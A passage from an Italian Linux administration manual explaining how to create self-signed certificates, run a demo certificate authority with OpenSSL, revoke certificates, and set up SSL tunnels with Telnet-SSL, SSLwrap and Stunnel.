Per generare in proprio il certificato auto-firmato, in modo da attivare ugualmente il servizio anche se non si può dimostrare di essere chi si afferma di essere, si può aggiungere l'opzione '**-x509**'. Anche in questo caso vengono richieste tutte le informazioni già viste.

```
$ openssl req -new -x509 -key chiave_privata.pem ⮐
↪        -out richiesta.pem [Invio]
```

In alcuni casi può essere necessario unire la chiave privata, in chiaro, assieme al certificato; questo accade in particolare quando si allestisce un servente HTTP Apache-SSL. Di solito la chiave privata non può essere cifrata, perché deve essere letta da un servizio autonomo che non può interrogare un utente. Si deve ottenere una cosa simile a quella seguente:

```
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDzUS4vA9NPNGAhHp71jGLk9lyJ6GfFK2R+AtMmWDKWvwhVOA8l
eY13ouz6XW0ts7s91FYlSTbp0Ed5tLKHZFu8guuza3jzpqFE/wrW/eJ7/RYW0cOZ
…
+7JyXBGaA4Srn/iw9cUCQQDEr5yuQa426I6psxfvUiK+HKS2kfRBbKKHj2NYh6nv
GgMhY9NiG+SGEDfkOw9rIVifb9yXs6f4CajQTb4qVl2X
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIICMTCCAZoCAQAwDQYJKoZIhvcNAQEEBQAwYTELMAkGA1UEBhMCcXExCzAJBgNV
BAgTAnd3MQswCQYDVQQHEwJlZTELMAkGA1UEChMCcnIxCzAJBgNVBAsTAnR0MQsw
…
3kNqIB5Iun0kdDqdJYQj9G5Ca+dlRCxrPY6bVCnlD3A8+RULjyGrT6D45QtoXKx+
quIhIni++XBHqe+RyWBD70XTWvw0+zoyrHNHG96k9eLlPIgHrQ==
-----END CERTIFICATE-----
```

L'aggregazione può essere fatta a mano (attraverso '**cat**'), oppure si può utilizzare un comando unico che crea la chiave privata (di dimensione predefinita) e anche il certificato autoprodotto:

```
$ openssl req -new -x509 -nodes -out certificato.pem ⮐
↪        -keyout certificato.pem [Invio]
```

In questo esempio è stata usata l'opzione '**-keyout**' per dirigere la chiave privata nello stesso file del certificato; inoltre, è stata usata l'opzione '**-nodes**' per evitare la protezione della chiave che in questi casi deve essere usata in chiaro.

Come viene mostrato anche in seguito, il file del certificato, con o senza la chiave privata acclusa, deve essere raggiungibile attraverso un nome corrispondente al suo codice di controllo, con l'aggiunta dell'estensione '`.0`'. Questo valore si ottiene con un comando simile a quello che si vede:

```
$ openssl x509 -hash -noout -in certificato.pem [Invio]
```

Per generare un collegamento simbolico, come si fa di solito, si potrebbe usare il comando seguente:

```
$ ln -s certificato.pem `openssl x509 -hash -noout ⮐
↪   -in certificato.pem`.0 [Invio]
```

49.5.3 Cenni sulla configurazione di OpenSSL

La configurazione di OpenSSL si attua normalmente attraverso il file '`openssl.cnf`', il quale potrebbe trovarsi collocato nella directory '`/etc/ssl/`'. Osservandone il contenuto, si intuisce che il simbolo '**`#`**' serve a introdurre un commento, fino alla fine della riga relativa e che le righe vuote e quelle bianche vengono ignorate come i commenti; inoltre, si vede che le direttive del file sono degli assegnamenti a variabili, le quali, se necessario, si espandono con il prefisso '**`$`**'; infine, le direttive sono raggruppate in sezioni individuabili da un titolo tra parentesi quadre.

È importante osservare che le sezioni sono organizzate in modo gerarchico, a partire dai nomi dei comandi di OpenSSL. In pratica, per il comando '**`openssl req`**' si prende in considerazione la sezione '**`[ req ]`**', che poi può a sua volta richiamare altre sottosezioni.

Dal momento che è già stato mostrato in che modo si ottiene una richiesta di certificato, attraverso il comando '**`openssl req`**', vale la pena di dare un'occhiata a un estratto della configurazione relativa, per comprendere un po' meglio come leggere questo file.

```
[ req ]
default_bits            = 1024
default_keyfile         = privkey.pem
distinguished_name      = req_distinguished_name
attributes              = req_attributes
x509_extensions = v3_ca # The extentions to add to the self signed cert

[ req_distinguished_name ]
countryName                     = Country Name (2 letter code)
countryName_default             = AU
countryName_min                 = 2
countryName_max                 = 2

stateOrProvinceName             = State or Province Name (full name)
stateOrProvinceName_default     = Some-State

localityName                    = Locality Name (eg, city)
```

È importante osservare che alcune variabili vengono assegnate con il nome di una sottosezione; in questo caso si tratta in particolare di ***distinguished_name*** a cui viene attribuita la sottosezione '**`[ req_distinguished_name ]`**', all'interno della quale vengono definite le informazioni che sono richieste in fase di costruzione del certificato.

Nelle prossime sezioni viene mostrato come simulare la gestione di un'autorità di certificazione attraverso OpenSSL. Il file di configurazione standard dovrebbe essere neutro rispetto a questo problema, incorporando una sezione '**`[ ca ]`**' particolare, utile per fare delle prove:

```
[ ca ]
default_ca      = CA_default            # The default ca section

####################################################################
[ CA_default ]

dir             = ./demoCA              # Where everything is kept
certs           = $dir/certs            # Where the issued certs are kept
crl_dir         = $dir/crl              # Where the issued crl are kept
database        = $dir/index.txt        # database index file.
new_certs_dir   = $dir/newcerts         # default place for new certs.

certificate     = $dir/cacert.pem       # The CA certificate
serial          = $dir/serial           # The current serial number
crl             = $dir/crl.pem          # The current CRL
private_key     = $dir/private/cakey.pem# The private key
RANDFILE        = $dir/private/.rand    # private random number file
```

È importante osservare che la sezione '**[ca]**' contiene una sola direttiva, '**default_ca**', con la quale si specifica la sottosezione da prendere in considerazione. In questo caso, la sottosezione è denominata '**[CA_default]**' e viene mostrata solo in parte. Si intende che, volendo fare le cose sul serio, è sufficiente ricopiare la sottosezione '**[CA_default]**', anche più volte, attribuendogli nomi differenti, modificando eventualmente la direttiva '**default_ca**' in modo da selezionare la sottosezione preferita.

Per il momento è bene osservare che la variabile ***dir*** viene presa in considerazione espandendola con l'aggiunta del prefisso '**$**' ('**$dir**'), nei valori da assegnare ad altre variabili. Questa variabile serve a definire la directory di partenza a partire dalla quale vanno collocati una serie di file che riguardano l'amministrazione dell'autorità di certificazione. Inizialmente, viene indicata una directory che appare volutamente improbabile, './demoCA/', proprio per fare capire che prima di lavorare sul serio occorre pensarci bene e mettere mano alla configurazione. Comunque, per le simulazioni che si vogliono mostrare, vale la pena di creare le directory './demoCA/certs/', './demoCA/newcerts/', './demoCA/crl/' e './demoCA/private/', o altre directory equivalenti in base alla propria configurazione effettiva.

49.5.3.1 Politica dell'autorità di certificazione

Nella sezione che descrive il funzionamento del comando '**openssl ca**', deve apparire anche l'indicazione del tipo di politica che l'autorità di certificazione intende attuare per rilasciare i certificati. Naturalmente, quello che può essere definito qui è solo qualche aspetto che riguarda la definizione del nome distintivo del titolare. Quello che segue è un altro estratto del file di configurazione in cui si vede l'assegnamento del nome di una sottosezione alla variabile ***policy***.

```
policy                   = policy_match

# For the CA policy
[ policy_match ]
countryName              = match
stateOrProvinceName      = match
organizationName         = match
organizationalUnitName   = optional
commonName               = supplied
emailAddress             = optional

[ policy_anything ]
countryName              = optional
stateOrProvinceName      = optional
localityName             = optional
organizationName         = optional
organizationalUnitName   = optional
commonName               = supplied
emailAddress             = optional
```

In questo caso, la sottosezione '**`[ policy_match ]`**' specifica che i campi del paese, della regione e dell'organizzazione, devono corrispondere con gli stessi dati del certificato dell'autorità di certificazione. In pratica, questo servirebbe a limitare l'accesso all'autorità soltanto a chi appartiene alla stessa area e anche alla stessa organizzazione (ciò fa pensare a un'autorità di certificazione aziendale, competente solo nell'ambito della propria azienda). Per il resto, solo il campo CN deve essere fornito, mentre gli altri sono facoltativi.

Sotto alla sottosezione appena descritta, appare anche un'altra sottosezione simile, con il nome '**`[ policy_anything ]`**', in cui verrebbe concesso quasi tutto, a parte l'obbligo di fornire il ***CN***.

49.5.4 Simulazione dell'allestimento e del funzionamento di un'autorità di certificazione

L'utilizzo di OpenSSL per la gestione di un'autorità di certificazione richiede la conoscenza di molti dettagli sul funzionamento di questo sistema. In generale, il file di configurazione predefinito consente di ottenere delle richieste di certificati o di generare dei certificati fittizi auto-firmati. In questo gruppo di sezioni si vuole mostrare schematicamente l'uso di OpenSSL nella gestione di un'autorità di certificazione, anche con qualche esempio, ma senza la pretesa di arrivare a ottenere dei certificati realistici.

49.5.4.1 Autorità di certificazione autonoma

La creazione di un'autorità di certificazione autonoma, ovvero di un'autorità principale (*root*), che non abbia ottenuto a sua volta un certificato da un'autorità di livello superiore, deve realizzare la sua chiave privata e il suo certificato auto-firmato. Diversamente, se dipendesse dalla certificazione di un'altra autorità, dovrebbe predisporre la propria richiesta, sottoporla all'autorità superiore da cui dovrebbe ottenere il certificato.

Viene mostrato nuovamente il procedimento necessario per creare la chiave privata. In questo caso si fa riferimento alla porzione di configurazione che è stata mostrata in precedenza, dove tutti i file utilizzati si articolano a partire dalla directory '`./demoCA/`'. In particolare, si suppone che '`./demoCA/private/.rand`' sia un file contenente informazioni casuali:

```
$ openssl genrsa -des3 -out ./demoCA/private/cakey.pem ↩
↪        -rand ./demoCA/private/.rand [Invio]
```

Ecco che in questo modo si ottiene la chiave privata nel file '`./demoCA/private/cakey.pem`', cifrata con l'algoritmo DES-triplo. Il certificato auto-firmato viene generato con il comando seguente, con il quale si ottiene il file '`./demoCA/cacert.pem`':

```
$ openssl req -new -x509 -days 730 -key ./demoCA/private/cakey.pem ↩
↪        -out ./demoCA/cacert.pem [Invio]
```

Si osservi in particolare che è stato indicato espressamente il periodo di validità del certificato, in 730 giorni, pari a due anni. La visualizzazione del contenuto del certificato si può fare con il comando seguente:

```
$ openssl x509 -text -in ./demoCA/cacert.pem [Invio]
```

Il certificato, in quanto tale, va conservato anche nella directory destinata a contenere la copia di quelli rilasciati in qualità di autorità di certificazione. Dal pezzo di configurazione mostrato in precedenza, la directory in questione è '`./demoCA/certs/`'. Questi file devono avere un nome che inizia con il loro numero di serie; dal momento che il numero del certificato dell'autorità stessa è il numero zero, il file deve chiamarsi obbligatoriamente '`./demoCA/certs/00.pem`':

```
$ cp ./demoCA/cacert.pem ./demoCA/certs/00.pem [Invio]
```

Inoltre, i file in quella directory devono essere abbinati, ognuno, a un collegamento simbolico che esprime il codice di controllo del file stesso, più l'estensione '`.0`':

```
$ cd ./demoCA/certs [Invio]
```

```
$ ln -s 00.pem `openssl x509 -hash -noout -in 00.pem`.0 [Invio]
```

49.5.4.2 Rilascio di certificazioni

Per le operazioni di rilascio dei certificati, ovvero della firma di questi a partire dai file di richiesta relativi, occorre prendere confidenza con l'uso di alcuni file, contenenti rispettivamente l'indice dei certificati rilasciati e il numero di serie successivo che può essere utilizzato. Come già spiegato, i certificati rilasciati da un'autorità di certificazione hanno un numero seriale progressivo; in base al pezzo di configurazione mostrato in precedenza, questo numero viene conservato nel file '`demoCA/serial`'. Il numero in questione viene annotato secondo una notazione esadecimale, tradotta in caratteri normali, ma senza alcun prefisso. In pratica, dopo aver predisposto il certificato della stessa autorità, occorre mettere in questo file la riga seguente, conclusa da un codice di interruzione di riga finale e nulla altro:

```
01
```

La creazione dei certificati incrementa automaticamente questo numero;[13] inoltre, se non viene specificato il file da creare, si ottiene direttamente un file corrispondente al suo numero di

serie, con l'aggiunta dell'estensione consueta, collocato nella directory prevista per l'accumulo provvisorio: 'demoCA/newcerts/' nel caso della configurazione di esempio a cui si continua a fare riferimento.

La creazione di un certificato aggiorna anche il file che ne contiene l'indice, il quale potrebbe essere 'demoCA/index.txt'. Inizialmente, dopo la creazione del certificato dell'autorità stessa, questo indice è semplicemente un file vuoto; con la creazione dei certificati successivi, viene aggiunta una riga per ognuno di questi, riga che va intesa come un record suddiviso in campi separati da un carattere di tabulazione **singolo**. Viene mostrato subito l'esempio del record relativo a un primo certificato (diviso in due righe per motivi tipografici):

```
V       001213190753Z           01      unknown    ↩
↪/C=IT/ST=Italia/O=Dinkel/CN=dinkel.brot.dg/Email=tizio@dinkel.brot.dg
```

Nell'esempio non si vede, ma c'è un terzo campo nullo prima del valore '**01**'. I campi hanno il significato seguente:

1. lo stato del certificato, attraverso una lettera: «R», revocato, «E», scaduto, «V», valido;
2. la data di scadenza, scritta attraverso una stringa di cifre numeriche terminate da una lettera «Z» maiuscola, dove le coppie di cifre rappresentano rispettivamente: anno, mese, giorno, ore, minuti, secondi ('***AAMMGGHHMMSS*Z**');
3. la data di revoca del certificato, scritta esattamente come nel caso del secondo campo, solitamente assente, a indicare che il certificato è ancora valido;
4. il numero di serie in esadecimale;
5. la collocazione del certificato (attualmente si tratta sempre della parola chiave '**unknown**');
6. i dati del titolare del certificato, ovvero il nome distintivo e l'indirizzo di posta elettronica di questo.

La creazione, ovvero la firma di un certificato si ottiene con il comando '**openssl ca**', fornendo in particolare il file contenente la richiesta. Per esempio, se si vuole accettare la richiesta costituita dal file 'richiesta.pem', si potrebbe agire nel modo seguente:

$ **openssl ca -in richiesta.pem**[*Invio*]

Avendo indicato esclusivamente il nome del file che contiene la richiesta, le altre informazioni sono state prese dalla configurazione. In base a quanto previsto dall'esempio mostrato inizialmente, per la firma è stata usata la chiave contenuta nel file 'demoCA/private/cakey.pem', il file del certificato è stato creato nella directory 'demoCA/newcerts/', con un nome corrispondente al suo numero di serie e con la solita estensione '.pem', ma soprattutto, è stata usata la sezione predefinita nel file di configurazione, ovvero '**[CA_default]**'. Volendo dichiarare tutto in modo esplicito, lo stesso comando avrebbe dovuto essere espresso nel modo seguente:

```
$ openssl ca -name CA_default -keyfile demoCA/private/cakey.pem ↩
↪         -in richiesta.pem ↩
↪         -out demoCA/newcerts/`cat demoCA/serial`[Invio]
```

Questo comando richiede alcune conferme:

```
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
The Subjects Distinguished Name is as follows
countryName           :PRINTABLE:'IT'
stateOrProvinceName   :PRINTABLE:'Italia'
localityName          :PRINTABLE:'Tiziopoli'
organizationName      :PRINTABLE:'Dinkel'
commonName            :PRINTABLE:'dinkel.brot.dg'
emailAddress          :IA5STRING:'tizio@dinkel.brot.dg'
Certificate is to be certified until Dec 13 19:28:38 2000 GMT (365 days)
```

Sign the certificate? [y/n]:**y** [*Invio*]

1 out of 1 certificate requests certified, commit? [y/n]:**y** [*Invio*]

```
…
Data Base Updated
```

Una volta creato un certificato nel modo descritto, questo va collocato nella sua posizione definitiva, che in questo caso è la directory '`demoCA/certs/`', dove va creato il solito collegamento simbolico che rappresenta il suo codice di controllo (come è già stato mostrato più volte).

49.5.4.3 Revoca dei certificati

Se si incontra la necessità di revocare dei certificati prima della loro scadenza normale, si deve pubblicare un elenco di revoca, o CRL (*Certificate revocation list*). Questo elenco si produce con OpenSSL a cominciare dalla modifica del file contenente l'elenco dei certificati ('`./demoCA/index.txt`'), sostituendo la lettera «V» con la lettera «R» e inserendo la scadenza anticipata nel terzo campo. L'esempio seguente mostra il caso di due certificati che vengono revocati prima della scadenza:

```
R       001213192838Z   000113192840Z   01      unknown /C=IT/ST=Italia/…
R       001213202243Z   000113192840Z   02      unknown /C=IT/ST=Italia/…
```

Successivamente, basta usare il comando '**`openssl ca`**', con l'opzione '**`-gencrl`**':

$ **openssl ca -gencrl -out ./demoCA/crl/crl.pem** [*Invio*]

Con questo esempio, viene creato il file '`./demoCA/crl/crl.pem`', contenente questo elenco di revoca, il cui contenuto può essere riletto con il comando seguente:

$ **openssl crl -text -in ./demoCA/crl/crl.pem** [*Invio*]

```
Certificate Revocation List (CRL):
        Version 1 (0x0)
        Signature Algorithm: md5WithRSAEncryption
        Issuer: /C=IT/ST=Italia/L=Treviso/O=Dinkel/CN=dinkel.brot.dg…
        Last Update: Jan 15 20:35:52 2000 GMT
        Next Update: Feb 14 20:35:52 2000 GMT
Revoked Certificates:
    Serial Number: 01
        Revocation Date: Jan 13 19:28:40 2000 GMT
    Serial Number: 02
        Revocation Date: Jan 13 19:28:40 2000 GMT
    Signature Algorithm: md5WithRSAEncryption
        32:e1:97:92:96:2f:0c:e4:df:bb:9c:82:a5:e3:5b:51:69:f5:
        51:ad:1b:b2:98:eb:35:a6:c8:7f:d9:29:1f:b2:1e:cc:da:84:
    …
        31:27:4a:21:4c:7a:bc:85:73:cd:ff:15:9d:cb:81:b3:0b:82:
        73:50
```

49.5.4.4 Conversione nei formati

In generale, con OpenSSL si lavora con file (richieste, certificati, elenchi di revoca, ecc.) in formato PEM, il quale è in pratica una forma compatta dei dati, utilizzando però solo il codice ASCII a 7 bit. Ci sono situazioni in cui è necessario convertire questo formato in un altro, oppure è necessario acquisire dei dati da un formato diverso dal solito. In generale, quando si usano comandi che possono ricevere dati in ingresso, o quando si devono generare dati in uscita, sempre relativi a certificati e affini, si possono usare rispettivamente le opzioni '**-inform**' e '**-outform**', seguite dalla sigla del formato (non sono disponibili sempre tutti). Vengono mostrati alcuni esempi.

```
$ openssl x509 -in certificato.pem -outform der ↩
↪        -out certificato.der[Invio]
```

In questo modo si ottiene la conversione del certificato 'certificato.pem' nel file 'certificato.der', che risulta in formato DER (binario).

```
$ openssl crl -in crl.pem -outform der -out crl.der[Invio]
```

Converte l'elenco di revoca 'crl.pem' in formato DER, nel file 'crl.der'.

49.6 Applicazioni che usano OpenSSL

Alcune versioni di applicazioni comuni che hanno a che fare con la comunicazione di dati, incorporano le funzionalità crittografiche di certificazione e crittografia SSL/TLS, in particolare quelle che utilizzano proprio le librerie OpenSSL. Per fortuna, per alcune di queste applicazioni c'è poco da aggiungere e qui si raccolgono le sole informazioni necessarie per poterle utilizzare.

Oltre alle applicazioni predisposte per il protocollo SSL/TLS, si aggiungono dei programmi che fungono da proxy TCP,[14] per dare queste funzionalità ai servizi che non le hanno già. Tuttavia, proprio perché intervengono solo a livello del protocollo TCP, può essere impossibile

l'utilizzo di questi quando il protocollo finale prevede l'apertura di connessioni aggiuntive attraverso porte non prestabilite. In pratica, diventa impossibile il loro uso per servizi FTP.

49.6.1 Aggiornare l'elenco dei servizi

Le varianti SSL/TLS dei servizi più comuni, prevedono porte di comunicazione diverse da quelle standard. In particolare, se il proprio file '`/etc/services`' non è già stato predisposto, è necessario aggiungere le righe seguenti, dove i commenti sono ovviamente opzionali:

```
https           443/tcp         # http TLS/SSL
https           443/udp
ssmtp           465/tcp         # smtp TLS/SSL
ssmtp           465/udp
nntps           563/tcp         # nttp TLS/SSL
nntps           563/udp
telnets         992/tcp         # telnet TLS/SSL
telnets         992/udp
imaps           993/tcp         # imap4 TLS/SSL
imaps           993/udp
ircs            994/tcp         # irc TLS/SSL
ircs            994/udp
pop3s           995/tcp         # POP3 TLS/SSL
pop3s           995/udp
ftps-data       989/tcp         # ftp TLS/SSL
ftps-data       989/udp
ftps            990/tcp         # ftp TLS/SSL
ftps            990/udp
```

È proprio l'utilizzo di queste porte che fa intendere ai servizi in ascolto che si intende instaurare una connessione protetta. Per fare un esempio comune, il fatto di utilizzare un URI che inizi per *`https://`* implica la richiesta di utilizzare un tunnel SSL/TLS per la certificazione e la crittografia, al contrario di un URI *`http://`* normale; inoltre, nello stesso modo, il protocollo HTTPS è precisamente il protocollo HTTP nel tunnel SSL/TLS.

49.6.2 Opzioni comuni

Di solito, le applicazioni che incorporano le funzionalità SSL attraverso le librerie di OpenSSL, consentono l'uso dell'opzione '**`-z`**', alla quale va aggiunto un argomento. La tabella 49.71 mostra sinteticamente l'uso di questa opzione aggiuntiva.

Figura 49.71. Alcune opzioni comuni ai programmi che usano le librerie di OpenSSL.

Opzione	Descrizione
`-z ssl`	Utilizza esclusivamente il protocollo SSL.
`-z secure`	Se fallisce la negoziazione SSL non passa a una connessione normale.
`-z verify=`***n***	Definisce il livello di verifica della certificazione.

Opzione	Descrizione
`-z cert=`*file*	Definisce il file contenente il certificato.
`-z key=`*file*	Definisce il file contenente la chiave privata RSA.
`-z cipher=`*elenco*	Definisce l'elenco di algoritmi crittografici preferiti.

49.6.3 Certificati dei servizi

In generale, per attivare un servizio che consente l'utilizzo del protocollo SSL, occorre che questo disponga di una chiave privata e di un certificato. In particolare, il certificato dovrebbe essere ottenuto da un'autorità di certificazione, ma in mancanza di questo lo si può creare in proprio. I programmi in questione, dal momento che offrono un servizio in modo autonomo, hanno la necessità di accedere alla chiave privata, senza poter interrogare l'amministratore. Di conseguenza, tale chiave non può essere protetta e di solito viene creato un file unico sia per la chiave privata, sia per il certificato.

Il file contenente il certificato e la chiave, ha solitamente un nome corrispondente a quello dell'applicazione, con l'aggiunta dell'estensione '`.pem`', collocato normalmente nella directory '`/etc/ssl/certs/`', o in un'altra simile. Supponendo che la directory da utilizzare sia proprio questa, si può generare in proprio il certificato dell'applicazione «prova», incorporando anche la chiave privata, nel modo seguente:

`# `**`cd /etc/ssl/certs`** [*Invio*]

`# `**`openssl req -new -x509 -nodes -out prova.pem -keyout prova.pem`** [*Invio*]

`# `**`chmod 0600 prova.pem`** [*Invio*]

`# `**``ln -s prova.pem `openssl x509 -noout -hash -in prova.pem`.0``** [*Invio*]

Dal momento che deve essere creata una chiave privata non protetta, altrimenti il servizio non potrebbe funzionare, il file che si genera non deve avere alcun permesso di accesso per gli utenti estranei, esattamente come si vede nell'esempio.

> Dal momento che si tratta di un certificato che serve a identificare un servizio, il campo ***CN*** deve contenere il nome di dominio completo attraverso il quale vi si accede.

> Di solito, la directory in cui vengono collocati i certificati di questi servizi, non dipende dalla configurazione di OpenSSL. In effetti, a parte il problema di crearli, questi vengono poi gestiti dai servizi stessi: sono questi servizi che eventualmente devono essere configurati per poter ritrovare i loro certificati.

49.6.4 Telnet-SSL

Esiste anche una versione di Telnet in grado di utilizzare il tunnel SSL.[15] In generale non c'è alcun problema di configurazione, a parte la necessità di disporre di un certificato, completo di chiave privata in chiaro, rappresentato di solito dal file '`telnetd.pem`', che dovrebbe essere generato automaticamente dal programma di installazione e inserito probabilmente nella directory '`/etc/ssl/certs/`'. Eventualmente, questo file (e il collegamento simbolico relativo) può essere ricostruito attraverso i comandi già visti all'inizio del capitolo.

Una volta installato il demone '**`in.telnetd`**' e il programma cliente '**`telnet`**' nella versione SSL, non serve altro. Al massimo, è il caso di verificare che il cliente sia in grado di connettersi con un servizio SSL. Il modo migliore è quello di farlo attraverso un altro servizio basato su SSL di cui si è già sicuri. L'esempio seguente mostra una connessione con un servente HTTPS, dal quale si preleva la pagina di ingresso al sito; si osservi in particolare l'uso dell'opzione '**`-z ssl`**' per utilizzare espressamente il protocollo SSL:

$ **`telnet -z ssl dinkel.brot.dg https`** [*Invio*]

`GET / HTTP/1.0` [*Invio*]

[*Invio*]

```
HTTP/1.1 200 OK
Date: Fri, 03 Dec 1999 16:42:41 GMT
Server: Apache/1.3.3 Ben-SSL/1.29 (Unix) Debian/GNU
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
 <HEAD>
  <TITLE>Index of /</TITLE>
 </HEAD>
 <BODY>
<H1>Index of /</H1>
...
</BODY></HTML>
Connection closed by foreign host.
```

È interessante notare che la connessione TELNET cifrata via SSL può essere negoziata anche attraverso la porta 23 normale. In alternativa, si può distinguere l'avvio del servente TELNET, nell'ambito della configurazione del supervisore dei servizi di rete, in modo da usare o meno la comunicazione cifrata. L'esempio seguente si riferisce a Inetd, con il file '`/etc/inetd.conf`':

```
…
telnet   stream tcp nowait root /usr/sbin/tcpd  /usr/sbin/in.telnetd
telnets  stream tcp nowait root /usr/sbin/tcpd  /usr/sbin/in.telnetd -z secure
…
```

49.6.5 SSLwrap

SSLwrap[16] è un tunnel SSL/TLS che si inserisce al di sopra di servizi già esistenti che però non sono in grado di gestire direttamente questa funzionalità. In altri termini si tratta di un proxy che, ricevendo connessioni attraverso le porte SSL/TLS, ripete le richieste ai servizi reali attraverso le porte normali.

Figura 49.74. Principio di funzionamento di SSLwrap.

La figura 49.74 mostra schematicamente un esempio di ciò che avviene. In particolare si vede l'uso delle porte, dove i numeri 1046 e 1053 sono solo un esempio di porte non privilegiate, utilizzate dinamicamente.

Da quanto espresso si dovrebbe intendere anche che SSLwrap può funzionare in un elaboratore distinto rispetto a quello che ospita i servizi per i quali è stato attivato. Naturalmente, nel tragitto che collega SSLwrap al servizio reale, i dati viaggiano in chiaro.

Un effetto collaterale dell'utilizzo di SSLwrap sta nel fatto che i servizi reali si trovano a comunicare sempre con lo stesso nodo, senza sapere da dove vengono realmente le richieste di connessione e senza poter applicare alcuna politica di filtro. SSLwrap è in grado di funzionare sia attraverso il controllo del supervisore dei servizi di rete, sia in modo indipendente; tuttavia, attraverso il supervisore dei servizi di rete e poi anche il TCP wrapper è possibile attuare le consuete politiche di filtro e di controllo degli accessi, anche attraverso il protocollo IDENT.

SSLwrap si compone dell'eseguibile '**`sslwrap`**', il quale svolge il ruolo di demone, autonomo o sottoposto al controllo del supervisore dei servizi di rete.

```
sslwrap [opzioni] -port porta-servizio-originale [-accept porta-servizio-ssl]
```

Lo schema sintattico mostra in particolare l'uso obbligato dell'opzione '**`-port`**', con la quale si specifica la porta del servizio originale, a cui ridirigere le richieste che invece provengono dalla porta SSL corrispondente. Si vede anche che l'opzione '**`-accept`**' permette di stabilire il numero di porta SSL da utilizzare per attendere le richieste; porta che non va indicata se si opera attraverso il controllo del supervisore dei servizi di rete (perché in tal caso i dati provengono dallo standard input).

In condizioni normali, si presume che il servizio standard sia collocato nello stesso nodo in cui è in funzione SSLwrap, per cui si intende implicitamente che si tratti di 127.0.0.1. Diversamente si deve utilizzare l'opzione '**`-addr`**'.

La tabella 49.75 elenca le opzioni più importanti della riga di comando di '**`sslwrap`**'.

Tabella 49.75. Alcune opzioni della riga di comando di '**`sslwrap`**'.

Opzione	Descrizione
`-addr` ***indirizzo-ip***	Indirizzo IP del servizio originale.
`-port` ***porta***	Porta del servizio originale.
`-accept` ***porta***	Porta SSL per ricevere le richieste.
`-verify`	Attiva la verifica del certificato della controparte.
`-Verify`	La controparte deve avere un certificato valido.
`-cert` ***file***	Certificato in formato PEM.
`-key` ***file***	Chiave privata in formato PEM (se non è già nel certificato).
`-without_pid`	Non crea il file contenente il numero del processo.

È probabile che la propria distribuzione sia organizzata in modo tale da configurare interattivamente il funzionamento di SSLwrap, aggiornando il file '`/etc/inetd.conf`' (nel caso si utilizzi Inetd come supervisore dei servizi di rete), oppure predisponendo gli script necessari nell'ambito della procedura di inizializzazione del sistema. Tuttavia, vale la pena di vedere ugualmente cosa si dovrebbe fare intervenendo manualmente.

Qui si presume che si utilizzi un certificato unico, completo di chiave privata, corrispondente al file '`/etc/ssl/certs/sslwrap.pem`'.

Nel caso del funzionamento sotto il controllo del supervisore dei servizi di rete, basta modificare il file '`/etc/inetd.conf`' aggiungendo le righe seguenti, che qui appaiono tutte spezzate a metà per motivi tipografici:

```
https           stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 80  -without_pid
ssmtp           stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 25  -without_pid
nntps           stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 119 -without_pid
telnets         stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 23  -without_pid
imaps           stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 143 -without_pid
ircs            stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 194 -without_pid
pop3s           stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 110 -without_pid
ftps-data       stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 20  -without_pid
ftps            stream  tcp     nowait  root    /usr/sbin/tcpd    ↩
↪/usr/sbin/sslwrap  -cert /etc/ssl/certs/sslwrap.pem -port 21  -without_pid
```

Naturalmente, non è necessario attivare tutti i presunti servizi SSL, eventualmente commen-

tando le righe che non servono.[17] Inoltre, nel caso che i servizi reali si trovino in un altro elaboratore, si può aggiungere l'opzione '**-addr**', come già descritto.

Per utilizzare '**sslwrap**' come demone autonomo, si può usare un comando simile a quello seguente, che si riferisce al caso del protocollo HTTPS:

```
# sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 80 -accept 443 & [Invio]
```

Logicamente, questo e altri comandi simili per gli altri servizi SSL vanno messi convenientemente in uno script adatto alla procedura di inizializzazione del sistema.

49.6.6 Stunnel

Stunnel[18] è un tunnel SSL/TLS che si inserisce al di sopra di servizi già esistenti che però non sono in grado di gestire direttamente questa funzionalità. Ma in aggiunta a quanto fa già SSLwrap, può essere usato anche per la funzionalità opposta, a vantaggio di un cliente che non è in grado di gestire da solo il protocollo SSL/TLS. In particolare, Stunnel non può essere messo sotto il controllo del supervisore dei servizi di rete, mentre può controllare i programmi che lo stesso supervisore dei servizi di rete gestisce.

Stunnel si compone dell'eseguibile '**stunnel**', che svolge il ruolo di demone autonomo, in grado di contattare un servizio già in ascolto di una porta TCP o di avviare un programma come fa il supervisore dei servizi di rete.

```
stunnel [opzioni]
```

Tabella 49.77. Alcune opzioni della riga di comando di '**stunnel**'.

Opzione	Descrizione
`-c`	Modalità «cliente»: il cliente si connette in chiaro e il servizio originale è SSL/TLS.
`-T`	Proxy trasparente, quando il sistema lo consente.
`-p` ***file***	Certificato in formato PEM, il quale però non si usa nella modalità «cliente».
`-v [1|2|3]`	Attiva la verifica del certificato.
`-v 1`	Verifica il certificato della controparte se presente.
`-v 2`	Verifica il certificato della controparte.
`-v 3`	Verifica la controparte con i certificati disponibili localmente.
`-a` ***directory***	Directory contenente i certificati per la verifica '**-v 3**'.
`-d` ***porta***	Porta di ascolto per le richieste di connessione.
`-l` ***programma*** [`--` ***argomenti***]	Avvio di un programma compatibile con il supervisore dei servizi di rete.
